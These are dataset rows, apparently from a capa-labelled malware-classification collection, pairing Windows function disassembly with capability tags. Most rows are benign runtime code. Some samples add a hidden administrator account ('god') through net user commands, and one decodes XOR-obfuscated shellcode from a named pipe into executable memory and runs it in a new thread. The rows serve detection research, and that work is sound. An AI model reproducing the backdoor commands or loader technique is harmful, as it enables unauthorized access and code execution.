joyce8/EMBER2024-capa huggingface dataset:
Function at 0x78bd8bfc
Capabilities:
Access peb ldr_data

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x18], rsi
mov qword [r11 + 0x20], rdi
push r12
sub rsp, 0x30
xor r12d, r12d
mov qword [r11 + 0x10], r12
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 0x60]
lea r8, [r11 + 0x10]
xor edx, edx
lea ecx, [rdx + 1]
call qword [0x78bd1060]
nop
mov rcx, qword [rbx + 0x20]
cmp rcx, r12
jne 0x78bd8c4a
lea rbx, [0x78bd3e28]
jmp 0x78bd8ccb
cmp qword [rcx + 0x68], r12
je 0x78bd8cc4
cmp word [rcx + 0x60], r12w
je 0x78bd8cc4
movzx edi, word [rcx + 0x60]
add rdi, qword [rcx + 0x68]
mov qword [rsp + 0x20], rdi
mov rax, rdi
sub rdi, 2
mov qword [rsp + 0x20], rdi
cmp rax, qword [rcx + 0x68]
je 0x78bd8c7e
cmp word [rdi], 0x5c
je 0x78bd8c7e
jmp 0x78bd8c64
add rdi, 2
mov qword [rsp + 0x20], rdi
movzx eax, word [rcx + 0x60]
sub eax, edi
add eax, dword [rcx + 0x68]
mov esi, eax
lea rcx, [rax + 2]
call sym.wow64.dll_Wow64AllocateHeap
mov rbx, rax
cmp rax, r12
jne 0x78bd8cac
lea rbx, [0x78bd3e28]
jmp 0x78bd8ccb
mov r8, rsi
mov rdx, rdi
mov rcx, rax
call fcn.78bfe074
shr rsi, 1
mov word [rbx + rsi*2], r12w
jmp 0x78bd8ccb
lea rbx, [0x78bd3e28]
mov rdx, qword [rsp + 0x48]
mov ecx, 1
call qword [0x78bd1068]
mov rax, rbx
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r12
ret
Function at 0x78bda530
Capabilities:
Get windows directory from kuser_shared_data

Disassembly:
push rbx
sub rsp, 0x20
mov ebx, 0x210
lea r8, [0x78bd46c0]
lea rcx, [0x78c0ad20]
mov rdx, rbx
mov r9d, 0x7ffe0030
call fcn.78bd8e44
test eax, eax
js 0x78bda5d5
lea rdx, [0x78c0ad20]
lea rcx, [0x78c0ad00]
call qword [0x78bd1040]
mov word [0x78c0ad02], bx
lea rdx, [0x78bd4610]
movdqu xmm0, xmmword [0x78c0ad00]
lea rcx, [0x78c0acf0]
movdqu xmmword [0x78c0acf0], xmm0
call qword [fcn.78bd1140]
mov ebx, eax
test eax, eax
jns 0x78bda5b8
lea rdx, [0x78bd46d0]
mov r8d, eax
mov ecx, 1
call sym.wow64.dll_Wow64LogPrint
mov eax, ebx
jmp 0x78bda5d5
lea rcx, [0x78c0ad00]
call fcn.78bda428
mov ebx, eax
test eax, eax
jns 0x78bda5d3
lea rdx, [0x78bd4730]
jmp 0x78bda5a7
xor eax, eax
add rsp, 0x20
pop rbx
ret

Function at 0x78bdb1d8
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
mov eax, 0x1050
call fcn.78bfe276
sub rsp, rax
mov rax, qword [0x78c09100]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov rdi, rdx
mov rsi, rcx
mov ebx, 1
mov byte [rsp + 0x30], bl
cmp rcx, 0xffffffffffffffff
jne 0x78bdb24a
mov eax, 0x5a4d
cmp word [rdx], ax
jne 0x78bdb23f
mov ecx, dword [rdx + 0x3c]
cmp dword [rcx + rdx], 0x4550
jne 0x78bdb239
mov eax, 0x14c
cmp word [rcx + rdx + 4], ax
je 0x78bdb23b
xor ebx, ebx
mov byte [rsp + 0x30], bl
jmp 0x78bdb245
jmp 0x78bdb2e5
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov r9d, 0x1000
lea r8, [rsp + 0x40]
call qword [0x78bd1100]
test eax, eax
js 0x78bdb2e5
mov eax, 0x5a4d
cmp word [rsp + 0x40], ax
jne 0x78bdb2e5
mov ecx, dword [rsp + 0x7c]
lea rax, [rcx + 0x108]
cmp rax, rcx
jbe 0x78bdb2e5
cmp rax, 0x1000
ja 0x78bdb2a7
cmp dword [rsp + rcx + 0x40], 0x4550
jne 0x78bdb2a3
mov eax, 0x14c
cmp word [rsp + rcx + 0x44], ax
je 0x78bdb2e5
xor bl, bl
jmp 0x78bdb2e5
lea rdx, [rcx + rdi]
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov r9d, 0x108
lea r8, [rsp + 0x40]
mov rcx, rsi
call qword [0x78bd1100]
test eax, eax
js 0x78bdb2e5
cmp dword [rsp + 0x40], 0x4550
jne 0x78bdb2e3
mov eax, 0x14c
cmp word [rsp + 0x44], ax
je 0x78bdb2e5
xor bl, bl
mov al, bl
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.78bfdec0
lea r11, [rsp + 0x1050]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x78be8ff0
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
sub rsp, 0x20
mov rsi, r9
mov edi, r8d
mov rbx, rdx
mov r13d, ecx
mov r12, rdx
test rdx, rdx
je 0x78be9061
test r8d, r8d
je 0x78be9061
mov rax, qword gs:[0x30]
inc qword [0x78c0aac0]
mov rcx, rdi
mov rdx, qword [rax + 0x1498]
add rcx, 0xf
mov rbx, qword [rdx + 0x18]
and rcx, 0xfffffffffffffff0
lea rax, [rdx + rcx + 0x20]
cmp rax, rbx
ja 0x78be9059
inc qword [0x78c0aac8]
sub rbx, rcx
mov qword [rdx + 0x18], rbx
jmp 0x78be9061
call fcn.78bdccbc
mov rbx, rax
lea r9, [rsp + 0x58]
mov r8d, edi
mov rdx, rbx
mov ecx, r13d
call fcn.78be7e18
mov dword [rsp + 0x60], eax
test eax, eax
jns 0x78be9086
mov r8d, dword [rsp + 0x58]
jmp 0x78be9130
cmp rdi, 0x48
jae 0x78be90a8
mov r8d, dword [rsp + 0x58]
lea rdx, [rsp + 0x60]
mov rcx, rsi
call fcn.78bdb1b8
mov eax, 0xc0000004
jmp 0x78be9141
test r12, r12
je 0x78be912a
mov rax, qword [rbx + 0x40]
mov ecx, r12d
mov qword [rcx + 0x40], rax
mov rax, qword [rbx + 0x38]
mov qword [rcx + 0x38], rax
mov rax, qword [rbx + 0x30]
mov qword [rcx + 0x30], rax
mov rax, qword [rbx + 0x28]
mov qword [rcx + 0x28], rax
mov rax, qword [rbx + 0x20]
mov qword [rcx + 0x20], rax
mov eax, dword [rbx + 0x1c]
mov dword [rcx + 0x1c], eax
mov eax, dword [rbx + 0x18]
mov dword [rcx + 0x18], eax
mov eax, dword [rbx + 0x14]
mov dword [rcx + 0x14], eax
mov eax, dword [rbx + 0x10]
mov dword [rcx + 0x10], eax
mov eax, dword [rbx + 0xc]
mov dword [rcx + 0xc], eax
mov al, byte [rbx + 8]
mov byte [rcx + 8], al
mov al, byte [rbx + 7]
mov byte [rcx + 7], al
mov al, byte [rbx + 6]
mov byte [rcx + 6], al
mov al, byte [rbx + 5]
mov byte [rcx + 5], al
mov al, byte [rbx + 4]
mov byte [rcx + 4], al
mov al, byte [rbx + 3]
mov byte [rcx + 3], al
mov al, byte [rbx + 2]
mov byte [rcx + 2], al
mov al, byte [rbx + 1]
mov byte [rcx + 1], al
mov al, byte [rbx]
mov byte [rcx], al
mov r8d, 0x48
lea rdx, [rsp + 0x60]
mov rcx, rsi
call fcn.78bdb1b8
mov eax, dword [rsp + 0x60]
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x78bf6688
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x30
mov edi, dword [rsp + 0x80]
mov rbx, r9
mov r12d, r8d
mov r13, rdx
mov r14d, ecx
mov rbp, r9
test r9, r9
je 0x78bf6705
test edi, edi
je 0x78bf6705
mov rax, qword gs:[0x30]
inc qword [0x78c0aac0]
mov rcx, rdi
mov rdx, qword [rax + 0x1498]
add rcx, 0xf
mov rbx, qword [rdx + 0x18]
and rcx, 0xfffffffffffffff0
lea rax, [rdx + rcx + 0x20]
cmp rax, rbx
ja 0x78bf66fd
inc qword [0x78c0aac8]
sub rbx, rcx
mov qword [rdx + 0x18], rbx
jmp 0x78bf6705
call fcn.78bdccbc
mov rbx, rax
lea rax, [rsp + 0x78]
mov r9, rbx
mov r8d, r12d
mov qword [rsp + 0x28], rax
mov rdx, r13
mov ecx, r14d
mov dword [rsp + 0x20], edi
call fcn.78bf5f14
mov dword [rsp + 0x80], eax
test eax, eax
jns 0x78bf6739
mov r8d, dword [rsp + 0x78]
jmp 0x78bf67ea
cmp rdi, 0x48
jae 0x78bf6763
mov r8d, dword [rsp + 0x78]
mov rcx, qword [rsp + 0x88]
lea rdx, [rsp + 0x80]
call fcn.78bdb1b8
mov eax, 0xc0000004
jmp 0x78bf6806
test rbp, rbp
je 0x78bf67e4
mov rax, qword [rbx + 0x40]
mov ecx, ebp
mov qword [rcx + 0x40], rax
mov rax, qword [rbx + 0x38]
mov qword [rcx + 0x38], rax
mov rax, qword [rbx + 0x30]
mov qword [rcx + 0x30], rax
mov rax, qword [rbx + 0x28]
mov qword [rcx + 0x28], rax
mov rax, qword [rbx + 0x20]
mov qword [rcx + 0x20], rax
mov eax, dword [rbx + 0x1c]
mov dword [rcx + 0x1c], eax
mov eax, dword [rbx + 0x18]
mov dword [rcx + 0x18], eax
mov eax, dword [rbx + 0x14]
mov dword [rcx + 0x14], eax
mov eax, dword [rbx + 0x10]
mov dword [rcx + 0x10], eax
mov eax, dword [rbx + 0xc]
mov dword [rcx + 0xc], eax
mov al, byte [rbx + 8]
mov byte [rcx + 8], al
mov al, byte [rbx + 7]
mov byte [rcx + 7], al
mov al, byte [rbx + 6]
mov byte [rcx + 6], al
mov al, byte [rbx + 5]
mov byte [rcx + 5], al
mov al, byte [rbx + 4]
mov byte [rcx + 4], al
mov al, byte [rbx + 3]
mov byte [rcx + 3], al
mov al, byte [rbx + 2]
mov byte [rcx + 2], al
mov al, byte [rbx + 1]
mov byte [rcx + 1], al
mov al, byte [rbx]
mov byte [rcx], al
mov r8d, 0x48
mov rcx, qword [rsp + 0x88]
lea rdx, [rsp + 0x80]
call fcn.78bdb1b8
mov eax, dword [rsp + 0x80]
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
add rsp, 0x30
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140004440]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140004450]
mov dword [rax], 1
mov rax, qword [0x140004460]
mov dword [rax], 1
mov rax, qword [0x1400043f0]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x140004430]
mov dword [0x14000700c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x140004500]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x1400044e0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x1400043a0]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x140001450
Capabilities:
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
call dbg.__main
lea rax, str.net_user_god_godmode123___add
mov rcx, rax
call sym.system
mov dword [rbp - 4], eax
lea rax, str.net_localgroup_administrators_god__add
mov rcx, rax
call sym.system
mov dword [rbp - 4], eax
mov eax, 0
add rsp, 0x30
pop rbp
ret

Function at 0x140001750
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x6bac13d0
Capabilities:
Connect pipe
Create pipe
Write file on windows
Write pipe

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x58
mov r9d, 1
xor r8d, r8d
mov dword [rsp + 0x4c], 0
mov rsi, rcx
mov ebx, edx
lea rcx, [0x6bb12920]
mov qword [rsp + 0x38], 0
mov edx, 2
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov r12, rax
lea rax, [rax - 1]
cmp rax, 0xfffffffffffffffd
ja 0x6bac147c
xor edx, edx
mov rcx, r12
lea rdi, [rsp + 0x4c]
call qword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
je 0x6bac147c
test ebx, ebx
jle 0x6bac1466
mov r9, rdi
mov r8d, ebx
mov rdx, rsi
mov rcx, r12
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x6bac1471
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x6bac147c
mov edx, dword [rsp + 0x4c]
add rsi, rdx
sub ebx, edx
jmp 0x6bac1443
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop r12
ret

Function at 0x6bac14a4
Capabilities:
Read file on windows

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x58
xor r9d, r9d
mov r8d, 3
mov dword [rsp + 0x4c], 0
mov rsi, rcx
mov ebx, edx
lea rcx, [0x6bb12920]
mov qword [rsp + 0x30], 0
mov edx, 0x80000000
lea rdi, [rsp + 0x4c]
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r12, rax
xor eax, eax
cmp r12, 0xffffffffffffffff
je 0x6bac153c
test ebx, ebx
jle 0x6bac1521
mov r9, rdi
mov r8d, ebx
mov rdx, rsi
mov rcx, r12
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x6bac1531
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x6bac153c
mov edx, dword [rsp + 0x4c]
add rsi, rdx
sub ebx, edx
jmp 0x6bac14fe
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop r12
ret

Function at 0x6bac1598
Capabilities:
Create thread

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x20
mov rbx, qword [0x6bb0f2e0]
movsxd rcx, dword [rbx + 4]
call sub.msvcrt.dll_malloc
mov rsi, qword [sym.imp.KERNEL32.dll_Sleep]
mov r12, rax
mov ecx, 0x400
call rsi
mov edx, dword [rbx + 4]
mov rcx, r12
call fcn.6bac14a4
test eax, eax
je 0x6bac1568
mov edx, dword [rbx + 4]
lea r8, [rbx + 8]
mov rcx, r12
call fcn.6bac16f5
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret
sub rsp, 0x68
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x26aa
xor edx, edx
mov r9d, 0x5c
div ecx
mov dword [rsp + 0x50], 0x5c
mov dword [rsp + 0x48], 0x65
mov dword [rsp + 0x40], 0x70
mov dword [rsp + 0x38], 0x69
mov dword [rsp + 0x30], 0x70
mov dword [rsp + 0x28], 0x5c
mov dword [rsp + 0x20], 0x2e
mov r8d, 0x5c
lea rcx, [0x6bb12920]
mov dword [rsp + 0x58], edx
lea rdx, str._c_c_c_c_c_c_c_c_cMSSE__d_server
call sub.msvcrt.dll_sprintf
xor ecx, ecx
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x28], 0
lea r8, [0x6bac1486]
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor ecx, ecx
add rsp, 0x68
jmp 0x6bac1546
Function at 0x6bac1657
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
dec edx
jne 0x6bac168b
mov qword [0x6bb12960], rcx
xor r9d, r9d
lea r8, [0x6bac1640]
xor edx, edx
mov qword [rsp + 0x28], 0
xor ecx, ecx
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
add rsp, 0x38
ret

Function at 0x6bac16f5
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x40
mov r9d, 4
movsxd r12, edx
mov rdi, rcx
mov rbp, r8
xor ecx, ecx
mov r8d, 0x3000
mov rdx, r12
mov rsi, r12
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
xor eax, eax
cmp esi, eax
jle 0x6bac1740
mov rdx, rax
and edx, 3
mov dl, byte [rbp + rdx]
xor dl, byte [rdi + rax]
mov byte [rbx + rax], dl
inc rax
jmp 0x6bac1727
mov rcx, rbx
call fcn.6bac16c3
lea r9, [rsp + 0x3c]
mov rdx, r12
mov r8d, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r9, rbx
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], 0
lea r8, [0x6bac16c0]
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateThread]
nop
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x6bac1b10
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.6bac2d80
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.6bac2d80
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]
Function at 0x6bac1b80
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x6bb125e4]
mov r12, rcx
mov rsi, rdx
mov rbx, r8
test edi, edi
jle 0x6bac1d28
mov rax, qword [0x6bb125e8]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp r12, rdx
jb 0x6bac1bcc
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x6bac1c57
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x6bac1bb0
mov rcx, r12
call fcn.6bac2880
mov rbp, rax
test rax, rax
je 0x6bac1d62
mov rax, qword [0x6bb125e8]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call fcn.6bac29b0
mov ecx, dword [rbp + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x6bb125e8]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x6bac1d71
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x6bac1c50
sub eax, 4
and eax, 0xfffffffb
jne 0x6bac1ce0
add dword [0x6bb125e4], 1
cmp ebx, 8
jae 0x6bac1c88
test bl, 4
jne 0x6bac1d30
test ebx, ebx
je 0x6bac1c79
movzx eax, byte [rsi]
mov byte [r12], al
test bl, 2
jne 0x6bac1d50
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rsi]
lea rcx, [r12 + 8]
and rcx, 0xfffffffffffffff8
mov qword [r12], rax
mov eax, ebx
mov rdx, qword [rsi + rax - 8]
mov qword [r12 + rax - 8], rdx
sub r12, rcx
add ebx, r12d
sub rsi, r12
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x6bac1c79
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [rsi + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x6bac1cba
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
add rdi, qword [0x6bb125e8]
mov qword [rdi + 8], rcx
mov r9, rdi
mov qword [rdi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x6bac1c50
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.6bac1b10
nop dword [rax]
xor edi, edi
jmp 0x6bac1bd7
mov eax, dword [rsi]
mov ebx, ebx
mov dword [r12], eax
mov eax, dword [rsi + rbx - 4]
mov dword [r12 + rbx - 4], eax
jmp 0x6bac1c79
mov ebx, ebx
movzx eax, word [rsi + rbx - 2]
mov word [r12 + rbx - 2], ax
jmp 0x6bac1c79
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.6bac1b10
mov rax, qword [0x6bb125e8]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rdi + 0x18]
call fcn.6bac1b10
nop
nop dword [rax]
Function at 0x6bac24f0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x6bb128c0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x6bb128a0]
test rbx, rbx
je 0x6bac2544
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x6bac253b
test r12, r12
je 0x6bac253b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x6bac2520
lea rcx, [0x6bb128c0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x6bac2880
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x6bb0f260]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x6bac28f9
mov rcx, r10
call fcn.6bac2750
test eax, eax
je 0x6bac28f9
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x6bac28f6
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
nop dword [rax]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x6bac28ed
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x6bac28f9
add r8, 0x28
cmp r8, r9
jne 0x6bac28d8
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret
Function at 0x140005d60
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x140005d88
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x140005dae
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x140005db0
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x140005e09
test ecx, ecx
jle 0x140005de9
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x140005e09
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x140005e09
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret

Function at 0x140005e30
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x140005e52
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je 0x140005e68
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x140005e84
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140005e86
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140005ec2
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x140005f5e
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x140005efd
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x140005f3e
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x140005f5e
cmp rbx, rax
ja 0x140005f10
test rbx, rbx
je 0x140005f5e
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret